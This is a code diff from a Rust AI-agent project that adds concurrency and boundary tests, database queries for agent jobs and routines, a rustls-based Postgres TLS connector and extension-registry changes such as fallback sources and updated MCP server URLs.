ironclaw_base_dir().join("tools")
}
impl WasmConfig {
+167
View File
@@ -323,4 +323,171 @@ mod tests {
let context = manager.get_context(job_id).await.unwrap();
assert_eq!(context.state, crate::context::JobState::InProgress);
}
// === QA Plan P3 - 4.2: Concurrent job stress tests ===
#[tokio::test]
async fn concurrent_creates_produce_unique_ids() {
let manager = std::sync::Arc::new(ContextManager::new(100));
let handles: Vec<_> = (0..50)
.map(|i| {
let mgr = std::sync::Arc::clone(&manager);
tokio::spawn(async move {
mgr.create_job(format!("Job {i}"), format!("Desc {i}"))
.await
})
})
.collect();
let mut ids = std::collections::HashSet::new();
for handle in handles {
let result = handle.await.expect("task should not panic");
let job_id = result.expect("create_job should succeed");
assert!(ids.insert(job_id), "Duplicate job ID: {job_id}");
}
assert_eq!(ids.len(), 50);
assert_eq!(manager.all_jobs().await.len(), 50);
}
#[tokio::test]
async fn concurrent_creates_respect_max_jobs_limit() {
// max_jobs = 5, but create_job only counts *active* jobs (InProgress).
// Pending jobs don't count against the limit, so we need to transition them.
let manager = std::sync::Arc::new(ContextManager::new(5));
// First, create 5 jobs and make them active.
for i in 0..5 {
let id = manager
.create_job(format!("Job {i}"), "desc")
.await
.unwrap();
manager
.update_context(id, |ctx| {
ctx.transition_to(crate::context::JobState::InProgress, None)
})
.await
.unwrap()
.unwrap();
}
// Now try to create 10 more concurrently -- all should fail.
let handles: Vec<_> = (0..10)
.map(|i| {
let mgr = std::sync::Arc::clone(&manager);
tokio::spawn(async move { mgr.create_job(format!("Overflow {i}"), "desc").await })
})
.collect();
for handle in handles {
let result = handle.await.expect("task should not panic");
assert!(
matches!(result, Err(JobError::MaxJobsExceeded { .. })),
"Expected MaxJobsExceeded, got: {:?}",
result
);
}
// Still exactly 5 jobs.
assert_eq!(manager.all_jobs().await.len(), 5);
}
#[tokio::test]
async fn concurrent_creates_and_reads_no_corruption() {
let manager = std::sync::Arc::new(ContextManager::new(100));
// Spawn writers that create jobs.
let writer_handles: Vec<_> = (0..20)
.map(|i| {
let mgr = std::sync::Arc::clone(&manager);
tokio::spawn(async move {
mgr.create_job_for_user(
format!("user-{}", i % 5),
format!("Job {i}"),
format!("Description for job {i}"),
)
.await
})
})
.collect();
// Concurrently, spawn readers that list jobs.
let reader_handles: Vec<_> = (0..20)
.map(|_| {
let mgr = std::sync::Arc::clone(&manager);
tokio::spawn(async move {
let _all = mgr.all_jobs().await;
let _active = mgr.active_jobs().await;
let _summary = mgr.summary().await;
})
})
.collect();
// Wait for all writers.
let mut ids = Vec::new();
for handle in writer_handles {
let result = handle.await.expect("writer should not panic");
ids.push(result.expect("create should succeed"));
}
// Wait for all readers.
for handle in reader_handles {
handle.await.expect("reader should not panic");
}
// All 20 jobs created with unique IDs.
let unique: std::collections::HashSet<_> = ids.iter().collect();
assert_eq!(unique.len(), 20);
// Each user has 4 jobs (20 jobs / 5 users).
for u in 0..5 {
let user_jobs = manager.all_jobs_for(&format!("user-{u}")).await;
assert_eq!(user_jobs.len(), 4, "user-{u} should have 4 jobs");
}
}
#[tokio::test]
async fn concurrent_updates_do_not_lose_state() {
let manager = std::sync::Arc::new(ContextManager::new(100));
// Create 10 jobs.
let mut job_ids = Vec::new();
for i in 0..10 {
let id = manager
.create_job(format!("Job {i}"), "desc")
.await
.unwrap();
job_ids.push(id);
}
// Concurrently transition all to InProgress.
let handles: Vec<_> = job_ids
.iter()
.map(|&id| {
let mgr = std::sync::Arc::clone(&manager);
tokio::spawn(async move {
mgr.update_context(id, |ctx| {
ctx.transition_to(crate::context::JobState::InProgress, None)
})
.await
})
})
.collect();
for handle in handles {
let result = handle.await.expect("task should not panic");
result
.expect("update should succeed")
.expect("transition should succeed");
}
// All 10 should now be InProgress.
let active = manager.active_jobs().await;
assert_eq!(active.len(), 10);
for id in &job_ids {
let ctx = manager.get_context(*id).await.unwrap();
assert_eq!(ctx.state, crate::context::JobState::InProgress);
}
}
}
+1 -1
View File
@@ -97,7 +97,7 @@ impl ConversationStore for LibSqlBackend {
c.started_at,
c.last_activity,
c.metadata,
(SELECT COUNT(*) FROM conversation_messages m WHERE m.conversation_id = c.id) AS message_count,
(SELECT COUNT(*) FROM conversation_messages m WHERE m.conversation_id = c.id AND m.role = 'user') AS message_count,
(SELECT substr(m2.content, 1, 100)
FROM conversation_messages m2
WHERE m2.conversation_id = c.id AND m2.role = 'user'
+64 -1
View File
@@ -12,7 +12,7 @@ use super::{
use crate::context::{ActionRecord, JobContext, JobState};
use crate::db::JobStore;
use crate::error::DatabaseError;
use crate::history::LlmCallRecord;
use crate::history::{AgentJobRecord, AgentJobSummary, LlmCallRecord};
use chrono::Utc;
@@ -173,6 +173,69 @@ impl JobStore for LibSqlBackend {
Ok(ids)
}
async fn list_agent_jobs(&self) -> Result<Vec<AgentJobRecord>, DatabaseError> {
let conn = self.connect().await?;
let mut rows = conn
.query(
r#"
SELECT id, title, status, user_id, failure_reason,
created_at, started_at, completed_at
FROM agent_jobs WHERE source = 'direct'
ORDER BY created_at DESC
"#,
(),
)
.await
.map_err(|e| DatabaseError::Query(e.to_string()))?;
let mut jobs = Vec::new();
while let Some(row) = rows
.next()
.await
.map_err(|e| DatabaseError::Query(e.to_string()))?
{
let id_str = get_text(&row, 0);
let Ok(id) = id_str.parse() else {
tracing::warn!("Skipping agent job with invalid UUID: {}", id_str);
continue;
};
jobs.push(AgentJobRecord {
id,
title: get_text(&row, 1),
status: get_text(&row, 2),
user_id: get_text(&row, 3),
failure_reason: get_opt_text(&row, 4),
created_at: get_ts(&row, 5),
started_at: get_opt_ts(&row, 6),
completed_at: get_opt_ts(&row, 7),
});
}
Ok(jobs)
}
async fn agent_job_summary(&self) -> Result<AgentJobSummary, DatabaseError> {
let conn = self.connect().await?;
let mut rows = conn
.query(
"SELECT status, COUNT(*) as cnt FROM agent_jobs WHERE source = 'direct' GROUP BY status",
(),
)
.await
.map_err(|e| DatabaseError::Query(e.to_string()))?;
let mut summary = AgentJobSummary::default();
while let Some(row) = rows
.next()
.await
.map_err(|e| DatabaseError::Query(e.to_string()))?
{
let status = get_text(&row, 0);
let count = get_i64(&row, 1) as usize;
summary.add_count(&status, count);
}
Ok(summary)
}
async fn save_action(&self, job_id: Uuid, action: &ActionRecord) -> Result<(), DatabaseError> {
let conn = self.connect().await?;
let duration_ms = action.duration.as_millis() as i64;
+21
View File
@@ -141,6 +141,27 @@ impl RoutineStore for LibSqlBackend {
Ok(routines)
}
async fn list_all_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
let conn = self.connect().await?;
let mut rows = conn
.query(
&format!("SELECT {} FROM routines ORDER BY name", ROUTINE_COLUMNS),
(),
)
.await
.map_err(|e| DatabaseError::Query(e.to_string()))?;
let mut routines = Vec::new();
while let Some(row) = rows
.next()
.await
.map_err(|e| DatabaseError::Query(e.to_string()))?
{
routines.push(row_to_routine_libsql(&row)?);
}
Ok(routines)
}
async fn list_event_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
let conn = self.connect().await?;
let mut rows = conn
+8 -2
View File
@@ -12,6 +12,9 @@
#[cfg(feature = "postgres")]
pub mod postgres;
#[cfg(feature = "postgres")]
pub mod tls;
#[cfg(feature = "libsql")]
pub mod libsql;
@@ -32,8 +35,8 @@ use crate::context::{ActionRecord, JobContext, JobState};
use crate::error::DatabaseError;
use crate::error::WorkspaceError;
use crate::history::{
ConversationMessage, ConversationSummary, JobEventRecord, LlmCallRecord, SandboxJobRecord,
SandboxJobSummary, SettingRow,
AgentJobRecord, AgentJobSummary, ConversationMessage, ConversationSummary, JobEventRecord,
LlmCallRecord, SandboxJobRecord, SandboxJobSummary, SettingRow,
};
use crate::workspace::{MemoryChunk, MemoryDocument, WorkspaceEntry};
use crate::workspace::{SearchConfig, SearchResult};
@@ -172,6 +175,8 @@ pub trait JobStore: Send + Sync {
) -> Result<(), DatabaseError>;
async fn mark_job_stuck(&self, id: Uuid) -> Result<(), DatabaseError>;
async fn get_stuck_jobs(&self) -> Result<Vec<Uuid>, DatabaseError>;
async fn list_agent_jobs(&self) -> Result<Vec<AgentJobRecord>, DatabaseError>;
async fn agent_job_summary(&self) -> Result<AgentJobSummary, DatabaseError>;
async fn save_action(&self, job_id: Uuid, action: &ActionRecord) -> Result<(), DatabaseError>;
async fn get_job_actions(&self, job_id: Uuid) -> Result<Vec<ActionRecord>, DatabaseError>;
async fn record_llm_call(&self, record: &LlmCallRecord<'_>) -> Result<Uuid, DatabaseError>;
@@ -247,6 +252,7 @@ pub trait RoutineStore: Send + Sync {
name: &str,
) -> Result<Option<Routine>, DatabaseError>;
async fn list_routines(&self, user_id: &str) -> Result<Vec<Routine>, DatabaseError>;
async fn list_all_routines(&self) -> Result<Vec<Routine>, DatabaseError>;
async fn list_event_routines(&self) -> Result<Vec<Routine>, DatabaseError>;
async fn list_due_cron_routines(&self) -> Result<Vec<Routine>, DatabaseError>;
async fn update_routine(&self, routine: &Routine) -> Result<(), DatabaseError>;
+14 -2
View File
@@ -21,8 +21,8 @@ use crate::db::{
};
use crate::error::{DatabaseError, WorkspaceError};
use crate::history::{
ConversationMessage, ConversationSummary, JobEventRecord, LlmCallRecord, SandboxJobRecord,
SandboxJobSummary, SettingRow, Store,
AgentJobRecord, AgentJobSummary, ConversationMessage, ConversationSummary, JobEventRecord,
LlmCallRecord, SandboxJobRecord, SandboxJobSummary, SettingRow, Store,
};
use crate::workspace::{
MemoryChunk, MemoryDocument, Repository, SearchConfig, SearchResult, WorkspaceEntry,
@@ -215,6 +215,14 @@ impl JobStore for PgBackend {
self.store.get_stuck_jobs().await
}
async fn list_agent_jobs(&self) -> Result<Vec<AgentJobRecord>, DatabaseError> {
self.store.list_agent_jobs().await
}
async fn agent_job_summary(&self) -> Result<AgentJobSummary, DatabaseError> {
self.store.agent_job_summary().await
}
async fn save_action(&self, job_id: Uuid, action: &ActionRecord) -> Result<(), DatabaseError> {
self.store.save_action(job_id, action).await
}
@@ -373,6 +381,10 @@ impl RoutineStore for PgBackend {
self.store.list_routines(user_id).await
}
async fn list_all_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
self.store.list_all_routines().await
}
async fn list_event_routines(&self) -> Result<Vec<Routine>, DatabaseError> {
self.store.list_event_routines().await
}
+86
View File
@@ -0,0 +1,86 @@
//! TLS connector factory for PostgreSQL connections.
//!
//! Builds a [`deadpool_postgres::Pool`] with the appropriate TLS connector
//! based on the configured [`SslMode`]. Uses `rustls` with system root
//! certificates — the same TLS stack that `reqwest` already uses for HTTP.
use deadpool_postgres::{Pool, Runtime};
use tokio_postgres::NoTls;
use tokio_postgres_rustls::MakeRustlsConnect;
use crate::config::SslMode;
/// Build a rustls-based TLS connector using the platform's root certificate store.
fn make_rustls_connector() -> MakeRustlsConnect {
let mut root_store = rustls::RootCertStore::empty();
let native = rustls_native_certs::load_native_certs();
for e in &native.errors {
tracing::warn!("error loading system root certs: {e}");
}
for cert in native.certs {
if let Err(e) = root_store.add(cert) {
tracing::warn!("skipping invalid system root cert: {e}");
}
}
if root_store.is_empty() {
tracing::error!("no system root certificates found -- TLS connections will fail");
}
let config = rustls::ClientConfig::builder()
.with_root_certificates(root_store)
.with_no_client_auth();
MakeRustlsConnect::new(config)
}
/// Create a [`deadpool_postgres::Pool`] with the appropriate TLS connector.
///
/// - `Disable` → plain TCP (no TLS)
/// - `Prefer` / `Require` → rustls with system root certificates
///
/// **Note:** `Prefer` and `Require` currently behave identically — both
/// provide a TLS connector and will fail if the server rejects the TLS
/// handshake. True `prefer` semantics (retry without TLS on failure)
/// would require reconnection logic that tokio-postgres does not provide
/// out of the box. The three-variant enum is kept for forward-compatibility
/// and familiarity with libpq's `sslmode` parameter.
pub fn create_pool(
config: &deadpool_postgres::Config,
ssl_mode: SslMode,
) -> Result<Pool, deadpool_postgres::CreatePoolError> {
match ssl_mode {
SslMode::Disable => config.create_pool(Some(Runtime::Tokio1), NoTls),
SslMode::Prefer | SslMode::Require => {
let tls = make_rustls_connector();
config.create_pool(Some(Runtime::Tokio1), tls)
}
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn create_pool_disable_mode() {
let mut config = deadpool_postgres::Config::new();
config.url = Some("postgres://localhost/test".to_string());
// Should succeed — pool is created lazily, no actual connection needed.
let pool = create_pool(&config, SslMode::Disable);
assert!(pool.is_ok());
}
#[test]
fn create_pool_prefer_mode() {
let mut config = deadpool_postgres::Config::new();
config.url = Some("postgres://localhost/test".to_string());
let pool = create_pool(&config, SslMode::Prefer);
assert!(pool.is_ok());
}
#[test]
fn create_pool_require_mode() {
let mut config = deadpool_postgres::Config::new();
config.url = Some("postgres://localhost/test".to_string());
let pool = create_pool(&config, SslMode::Require);
assert!(pool.is_ok());
}
}
+238
View File
@@ -120,4 +120,242 @@ mod tests {
// Negative cost with zero price is profitable (we get paid to do it)
assert!(estimator.is_profitable(Decimal::ZERO, dec!(-10.0)));
}
// === QA Plan P2 - 4.4: Value estimator boundary tests ===
#[test]
fn test_profitability_negative_cost() {
let estimator = ValueEstimator::new();
// Negative cost means we get paid to do the work -- always profitable
// with any positive price.
assert!(estimator.is_profitable(dec!(100.0), dec!(-50.0)));
assert!(estimator.is_profitable(dec!(1.0), dec!(-0.01)));
}
#[test]
fn test_profitability_cost_exceeds_price() {
let estimator = ValueEstimator::new();
// Cost exceeds price → negative margin → not profitable.
assert!(!estimator.is_profitable(dec!(10.0), dec!(100.0)));
}
#[test]
fn test_margin_zero_earnings() {
let estimator = ValueEstimator::new();
// Zero earnings → margin should be zero, not panic from divide-by-zero.
assert_eq!(
estimator.calculate_margin(Decimal::ZERO, dec!(50.0)),
Decimal::ZERO
);
assert_eq!(
estimator.calculate_margin(Decimal::ZERO, Decimal::ZERO),
Decimal::ZERO
);
}
#[test]
fn test_estimate_zero_cost() {
let estimator = ValueEstimator::new();
// Zero cost → value estimate should be zero (cost + 30% of zero).
let value = estimator.estimate("free task", Decimal::ZERO);
assert_eq!(value, Decimal::ZERO);
}
#[test]
fn test_minimum_vs_ideal_bid() {
let estimator = ValueEstimator::new();
let cost = dec!(100.0);
let min_bid = estimator.minimum_bid(cost);
let ideal_bid = estimator.ideal_bid(cost);
// Minimum bid should always be less than ideal bid.
assert!(min_bid < ideal_bid);
// Both should be above cost.
assert!(min_bid > cost);
assert!(ideal_bid > cost);
}
#[test]
fn test_profit_calculation() {
let estimator = ValueEstimator::new();
assert_eq!(
estimator.calculate_profit(dec!(150.0), dec!(100.0)),
dec!(50.0)
);
// Negative profit (loss).
assert_eq!(
estimator.calculate_profit(dec!(50.0), dec!(100.0)),
dec!(-50.0)
);
}
// === Additional boundary / edge-case tests (QA Plan 4.4) ===
#[test]
fn is_profitable_with_very_large_values() {
let estimator = ValueEstimator::new();
// rust_decimal::Decimal max is ~79_228_162_514_264_337_593_543_950_335.
// Use values large enough to stress multiplication but within Decimal range.
let big = Decimal::new(i64::MAX, 0); // 9_223_372_036_854_775_807
let small = Decimal::new(1, 0);
// Large price, small cost -- clearly profitable, must not overflow.
assert!(estimator.is_profitable(big, small));
// Large cost, small price -- clearly unprofitable.
assert!(!estimator.is_profitable(small, big));
// Large equal values: margin = 0, which is < 10% min -- not profitable.
assert!(!estimator.is_profitable(big, big));
}
#[test]
fn estimate_value_with_very_large_cost() {
let estimator = ValueEstimator::new();
let big = Decimal::new(i64::MAX / 2, 0);
let value = estimator.estimate("big job", big);
// value = cost + cost * 0.3 = cost * 1.3, should not overflow.
assert!(value > big);
}
#[test]
fn is_profitable_with_negative_price() {
let estimator = ValueEstimator::new();
// Negative price is an unusual edge case. The current formula
// margin = (price - cost) / price can produce misleading results
// because dividing two negatives yields a positive.
//
// price = -10, cost = 5: margin = (-10 - 5) / -10 = 1.5 >= 0.1
// The formula says "profitable" even though the scenario is nonsensical.
// We document the current behavior here; a guard for negative prices
// could be added in a future hardening pass.
assert!(estimator.is_profitable(dec!(-10.0), dec!(5.0)));
// price = -10, cost = -20: margin = (-10 - (-20)) / -10 = -1.0 < 0.1.
assert!(!estimator.is_profitable(dec!(-10.0), dec!(-20.0)));
}
#[test]
fn calculate_margin_with_negative_earnings() {
let estimator = ValueEstimator::new();
// Negative earnings -- margin formula still computes without panic.
let margin = estimator.calculate_margin(dec!(-100.0), dec!(50.0));
// (earnings - cost) / earnings = (-100 - 50) / -100 = 1.5
assert_eq!(margin, dec!(1.5));
}
#[test]
fn calculate_margin_with_both_negative() {
let estimator = ValueEstimator::new();
// Both negative: earnings = -50, cost = -100.
// margin = (-50 - (-100)) / -50 = 50 / -50 = -1.0
let margin = estimator.calculate_margin(dec!(-50.0), dec!(-100.0));
assert_eq!(margin, dec!(-1.0));
}
#[test]
fn minimum_bid_with_zero_cost() {
let estimator = ValueEstimator::new();
// Zero cost -- both bids should be zero.
assert_eq!(estimator.minimum_bid(Decimal::ZERO), Decimal::ZERO);
assert_eq!(estimator.ideal_bid(Decimal::ZERO), Decimal::ZERO);
}
#[test]
fn minimum_bid_with_negative_cost() {
let estimator = ValueEstimator::new();
// Negative cost -- the bid formulas still compute (cost + cost * margin),
// producing a negative bid (we'd pay them).
let min_bid = estimator.minimum_bid(dec!(-100.0));
let ideal_bid = estimator.ideal_bid(dec!(-100.0));
assert!(min_bid < Decimal::ZERO);
assert!(ideal_bid < Decimal::ZERO);
// With negative values, ideal (more negative) < minimum (less negative).
assert!(ideal_bid < min_bid);
}
#[test]
fn estimate_with_negative_cost() {
let estimator = ValueEstimator::new();
// Negative cost: value = cost + cost * 0.3 = -100 + (-30) = -130.
let value = estimator.estimate("refund task", dec!(-100.0));
assert_eq!(value, dec!(-130.0));
}
#[test]
fn custom_margins_affect_profitability() {
let mut estimator = ValueEstimator::new();
let price = dec!(110.0);
let cost = dec!(100.0);
// Default 10% min margin: (110 - 100) / 110 ~= 9.09% < 10% -> not profitable.
assert!(!estimator.is_profitable(price, cost));
// Lower min margin to 5% -> now 9.09% >= 5% -> profitable.
estimator.set_min_margin(dec!(0.05));
assert!(estimator.is_profitable(price, cost));
// Raise min margin to 50% -> 9.09% < 50% -> not profitable.
estimator.set_min_margin(dec!(0.50));
assert!(!estimator.is_profitable(price, cost));
}
#[test]
fn custom_target_margin_affects_bids() {
let mut estimator = ValueEstimator::new();
let cost = dec!(100.0);
let default_ideal = estimator.ideal_bid(cost);
assert_eq!(default_ideal, dec!(130.0)); // 100 + 30%
estimator.set_target_margin(dec!(0.5));
let new_ideal = estimator.ideal_bid(cost);
assert_eq!(new_ideal, dec!(150.0)); // 100 + 50%
}
#[test]
fn is_profitable_at_exact_margin_boundary() {
let estimator = ValueEstimator::new();
// min_margin = 0.1 (10%). Price = 100, cost = 90 -> margin = 10/100 = 0.1.
// Exactly at boundary -- should be profitable (>=).
assert!(estimator.is_profitable(dec!(100.0), dec!(90.0)));
// Slightly below boundary: cost = 90.01 -> margin = 9.99/100 = 0.0999 < 0.1.
assert!(!estimator.is_profitable(dec!(100.0), dec!(90.01)));
}
#[test]
fn profit_with_zero_values() {
let estimator = ValueEstimator::new();
assert_eq!(
estimator.calculate_profit(Decimal::ZERO, Decimal::ZERO),
Decimal::ZERO
);
assert_eq!(
estimator.calculate_profit(Decimal::ZERO, dec!(100.0)),
dec!(-100.0)
);
assert_eq!(
estimator.calculate_profit(dec!(100.0), Decimal::ZERO),
dec!(100.0)
);
}
#[test]
fn default_impl_matches_new() {
let from_new = ValueEstimator::new();
let from_default = ValueEstimator::default();
let cost = dec!(100.0);
// Both should produce identical results.
assert_eq!(
from_new.estimate("x", cost),
from_default.estimate("x", cost)
);
assert_eq!(from_new.minimum_bid(cost), from_default.minimum_bid(cost));
assert_eq!(from_new.ideal_bid(cost), from_default.ideal_bid(cost));
assert_eq!(
from_new.is_profitable(dec!(150.0), cost),
from_default.is_profitable(dec!(150.0), cost)
);
}
}
+10 -8
View File
@@ -50,14 +50,14 @@ impl OnlineDiscovery {
let mut candidates: Vec<RegistryEntry> = Vec::new();
for entry in patterns {
let url = extract_url(&entry.source);
let url = extract_source(&entry.source);
if seen_urls.insert(url) {
candidates.push(entry);
}
}
for entry in github.unwrap_or_default() {
let url = extract_url(&entry.source);
let url = extract_source(&entry.source);
if seen_urls.insert(url) {
candidates.push(entry);
}
@@ -104,6 +104,7 @@ impl OnlineDiscovery {
source: ExtensionSource::McpUrl {
url: url.to_string(),
},
fallback_source: None,
auth_hint: AuthHint::Dcr,
})
} else {
@@ -178,6 +179,7 @@ impl OnlineDiscovery {
.unwrap_or_else(|| format!("MCP server from GitHub: {}", item.full_name)),
keywords: item.topics,
source: ExtensionSource::Discovered { url },
fallback_source: None,
auth_hint: AuthHint::Dcr,
})
})
@@ -240,12 +242,12 @@ async fn with_timeout<T>(
tokio::time::timeout(duration, future).await.ok()
}
fn extract_url(source: &ExtensionSource) -> String {
fn extract_source(source: &ExtensionSource) -> String {
match source {
ExtensionSource::McpUrl { url } => url.clone(),
ExtensionSource::Discovered { url } => url.clone(),
ExtensionSource::WasmDownload { wasm_url, .. } => wasm_url.clone(),
ExtensionSource::WasmBuildable { repo_url, .. } => repo_url.clone(),
ExtensionSource::WasmBuildable { source_dir, .. } => source_dir.clone(),
}
}
@@ -284,7 +286,7 @@ struct GitHubRepo {
mod tests {
use crate::extensions::ExtensionSource;
use crate::extensions::discovery::{
OnlineDiscovery, extract_url, titlecase, validate_mcp_url_with_client,
OnlineDiscovery, extract_source, titlecase, validate_mcp_url_with_client,
};
#[test]
@@ -295,16 +297,16 @@ mod tests {
}
#[test]
fn test_extract_url() {
fn test_extract_source() {
let mcp = ExtensionSource::McpUrl {
url: "https://mcp.notion.com".to_string(),
};
assert_eq!(extract_url(&mcp), "https://mcp.notion.com");
assert_eq!(extract_source(&mcp), "https://mcp.notion.com");
let discovered = ExtensionSource::Discovered {
url: "https://example.com".to_string(),
};
assert_eq!(extract_url(&discovered), "https://example.com");
assert_eq!(extract_source(&discovered), "https://example.com");
}
#[tokio::test]
+825 -86
View File
File diff suppressed because it is too large Load Diff
+18 -2
View File
@@ -64,6 +64,9 @@ pub struct RegistryEntry {
pub keywords: Vec<String>,
/// Where to get this extension.
pub source: ExtensionSource,
/// Fallback source when the primary source fails (e.g., download 404 → build from source).
#[serde(default, skip_serializing_if = "Option::is_none")]
pub fallback_source: Option<Box<ExtensionSource>>,
/// How authentication works.
pub auth_hint: AuthHint,
}
@@ -80,9 +83,10 @@ pub enum ExtensionSource {
#[serde(default)]
capabilities_url: Option<String>,
},
/// Build from source repository.
/// Build from local source directory.
WasmBuildable {
repo_url: String,
#[serde(alias = "repo_url")]
source_dir: String,
#[serde(default)]
build_dir: Option<String>,
/// Crate name used to locate the build artifact binary.
@@ -184,6 +188,9 @@ fn default_true() -> bool {
pub struct InstalledExtension {
pub name: String,
pub kind: ExtensionKind,
/// Human-readable display name (e.g. "Telegram Channel" vs "Telegram Tool").
#[serde(skip_serializing_if = "Option::is_none")]
pub display_name: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub description: Option<String>,
/// Server or source URL (e.g. MCP server endpoint).
@@ -200,6 +207,9 @@ pub struct InstalledExtension {
/// Whether this extension is installed locally (false = available in registry but not installed).
#[serde(default = "default_true")]
pub installed: bool,
/// Last activation error for WASM channels.
#[serde(skip_serializing_if = "Option::is_none")]
pub activation_error: Option<String>,
}
/// Error type for extension operations.
@@ -235,6 +245,12 @@ pub enum ExtensionError {
#[error("Config error: {0}")]
Config(String),
#[error("Primary install failed: {primary}; fallback install also failed: {fallback}")]
FallbackFailed {
primary: Box<ExtensionError>,
fallback: Box<ExtensionError>,
},
#[error("{0}")]
Other(String),
}
+299 -47
View File
@@ -103,11 +103,14 @@ impl ExtensionRegistry {
}
}
scored.sort_by(|a, b| b.1.cmp(&a.1));
scored.sort_by_key(|b| std::cmp::Reverse(b.1));
scored.into_iter().map(|(r, _)| r).collect()
}
/// Look up an entry by exact name.
///
/// NOTE: Prefer [`get_with_kind`] when a kind hint is available, to avoid
/// returning the wrong entry when two entries share a name but differ in kind.
pub async fn get(&self, name: &str) -> Option<RegistryEntry> {
if let Some(entry) = self.entries.iter().find(|e| e.name == name) {
return Some(entry.clone());
@@ -116,6 +119,35 @@ impl ExtensionRegistry {
cache.iter().find(|e| e.name == name).cloned()
}
/// Look up an entry by exact name, filtering by kind when provided.
///
/// When `kind` is `Some(...)`, only returns an entry matching both name and
/// kind — never falls back to a different kind. When `kind` is `None`,
/// returns the first name match (same as [`get`]).
pub async fn get_with_kind(
&self,
name: &str,
kind: Option<ExtensionKind>,
) -> Option<RegistryEntry> {
if let Some(kind) = kind {
if let Some(entry) = self
.entries
.iter()
.find(|e| e.name == name && e.kind == kind)
{
return Some(entry.clone());
}
let cache = self.discovery_cache.read().await;
if let Some(entry) = cache.iter().find(|e| e.name == name && e.kind == kind) {
return Some(entry.clone());
}
// Kind was specified but no entry matches — don't fall back to a
// different kind, as that would silently misroute the install.
return None;
}
self.get(name).await
}
/// Return all registry entries (builtins + cached discoveries).
pub async fn all_entries(&self) -> Vec<RegistryEntry> {
let mut entries = self.entries.clone();
@@ -135,8 +167,11 @@ impl ExtensionRegistry {
pub async fn cache_discovered(&self, entries: Vec<RegistryEntry>) {
let mut cache = self.discovery_cache.write().await;
for entry in entries {
// Deduplicate by name
if !cache.iter().any(|e| e.name == entry.name) {
// Deduplicate by (name, kind) — same pair as new_with_catalog()
if !cache
.iter()
.any(|e| e.name == entry.name && e.kind == entry.kind)
{
cache.push(entry);
}
}
@@ -208,6 +243,7 @@ fn builtin_entries() -> Vec<RegistryEntry> {
source: ExtensionSource::McpUrl {
url: "https://mcp.notion.com/mcp".to_string(),
},
fallback_source: None,
auth_hint: AuthHint::Dcr,
},
RegistryEntry {
@@ -225,44 +261,9 @@ fn builtin_entries() -> Vec<RegistryEntry> {
"bugs".into(),
],
source: ExtensionSource::McpUrl {
url: "https://mcp.linear.app".to_string(),
},
auth_hint: AuthHint::Dcr,
},
RegistryEntry {
name: "google-calendar".to_string(),
display_name: "Google Calendar".to_string(),
kind: ExtensionKind::McpServer,
description: "Connect to Google Calendar for managing events, schedules, and reminders"
.to_string(),
keywords: vec![
"calendar".into(),
"events".into(),
"schedule".into(),
"meetings".into(),
"google".into(),
],
source: ExtensionSource::McpUrl {
url: "https://mcp.google.com/calendar".to_string(),
},
auth_hint: AuthHint::Dcr,
},
RegistryEntry {
name: "google-drive".to_string(),
display_name: "Google Drive".to_string(),
kind: ExtensionKind::McpServer,
description: "Connect to Google Drive for file management, search, and document access"
.to_string(),
keywords: vec![
"drive".into(),
"files".into(),
"documents".into(),
"storage".into(),
"google".into(),
],
source: ExtensionSource::McpUrl {
url: "https://mcp.google.com/drive".to_string(),
url: "https://mcp.linear.app/sse".to_string(),
},
fallback_source: None,
auth_hint: AuthHint::Dcr,
},
RegistryEntry {
@@ -280,8 +281,9 @@ fn builtin_entries() -> Vec<RegistryEntry> {
"issues".into(),
],
source: ExtensionSource::McpUrl {
url: "https://mcp.github.com".to_string(),
url: "https://api.githubcopilot.com/mcp/".to_string(),
},
fallback_source: None,
auth_hint: AuthHint::Dcr,
},
RegistryEntry {
@@ -301,6 +303,7 @@ fn builtin_entries() -> Vec<RegistryEntry> {
source: ExtensionSource::McpUrl {
url: "https://mcp.slack.com".to_string(),
},
fallback_source: None,
auth_hint: AuthHint::Dcr,
},
RegistryEntry {
@@ -318,8 +321,9 @@ fn builtin_entries() -> Vec<RegistryEntry> {
"performance".into(),
],
source: ExtensionSource::McpUrl {
url: "https://mcp.sentry.dev/sse".to_string(),
url: "https://mcp.sentry.dev/mcp".to_string(),
},
fallback_source: None,
auth_hint: AuthHint::Dcr,
},
RegistryEntry {
@@ -339,6 +343,7 @@ fn builtin_entries() -> Vec<RegistryEntry> {
source: ExtensionSource::McpUrl {
url: "https://mcp.stripe.com".to_string(),
},
fallback_source: None,
auth_hint: AuthHint::Dcr,
},
RegistryEntry {
@@ -356,8 +361,9 @@ fn builtin_entries() -> Vec<RegistryEntry> {
"infrastructure".into(),
],
source: ExtensionSource::McpUrl {
url: "https://mcp.cloudflare.com/sse".to_string(),
url: "https://mcp.cloudflare.com/mcp".to_string(),
},
fallback_source: None,
auth_hint: AuthHint::Dcr,
},
RegistryEntry {
@@ -373,8 +379,9 @@ fn builtin_entries() -> Vec<RegistryEntry> {
"team".into(),
],
source: ExtensionSource::McpUrl {
url: "https://mcp.asana.com".to_string(),
url: "https://mcp.asana.com/v2/mcp".to_string(),
},
fallback_source: None,
auth_hint: AuthHint::Dcr,
},
RegistryEntry {
@@ -391,8 +398,9 @@ fn builtin_entries() -> Vec<RegistryEntry> {
"helpdesk".into(),
],
source: ExtensionSource::McpUrl {
url: "https://mcp.intercom.com".to_string(),
url: "https://mcp.intercom.com/mcp".to_string(),
},
fallback_source: None,
auth_hint: AuthHint::Dcr,
},
// WASM channels (telegram, slack, discord, whatsapp) come from the embedded
@@ -417,6 +425,7 @@ mod tests {
source: ExtensionSource::McpUrl {
url: "https://example.com".to_string(),
},
fallback_source: None,
auth_hint: AuthHint::Dcr,
};
@@ -439,6 +448,7 @@ mod tests {
source: ExtensionSource::McpUrl {
url: "https://example.com".to_string(),
},
fallback_source: None,
auth_hint: AuthHint::Dcr,
};
@@ -461,6 +471,7 @@ mod tests {
source: ExtensionSource::McpUrl {
url: "https://example.com".to_string(),
},
fallback_source: None,
auth_hint: AuthHint::Dcr,
};
@@ -483,6 +494,7 @@ mod tests {
source: ExtensionSource::McpUrl {
url: "https://example.com".to_string(),
},
fallback_source: None,
auth_hint: AuthHint::Dcr,
};
@@ -546,6 +558,7 @@ mod tests {
source: ExtensionSource::McpUrl {
url: "https://custom.example.com".to_string(),
},
fallback_source: None,
auth_hint: AuthHint::Dcr,
};
@@ -571,6 +584,7 @@ mod tests {
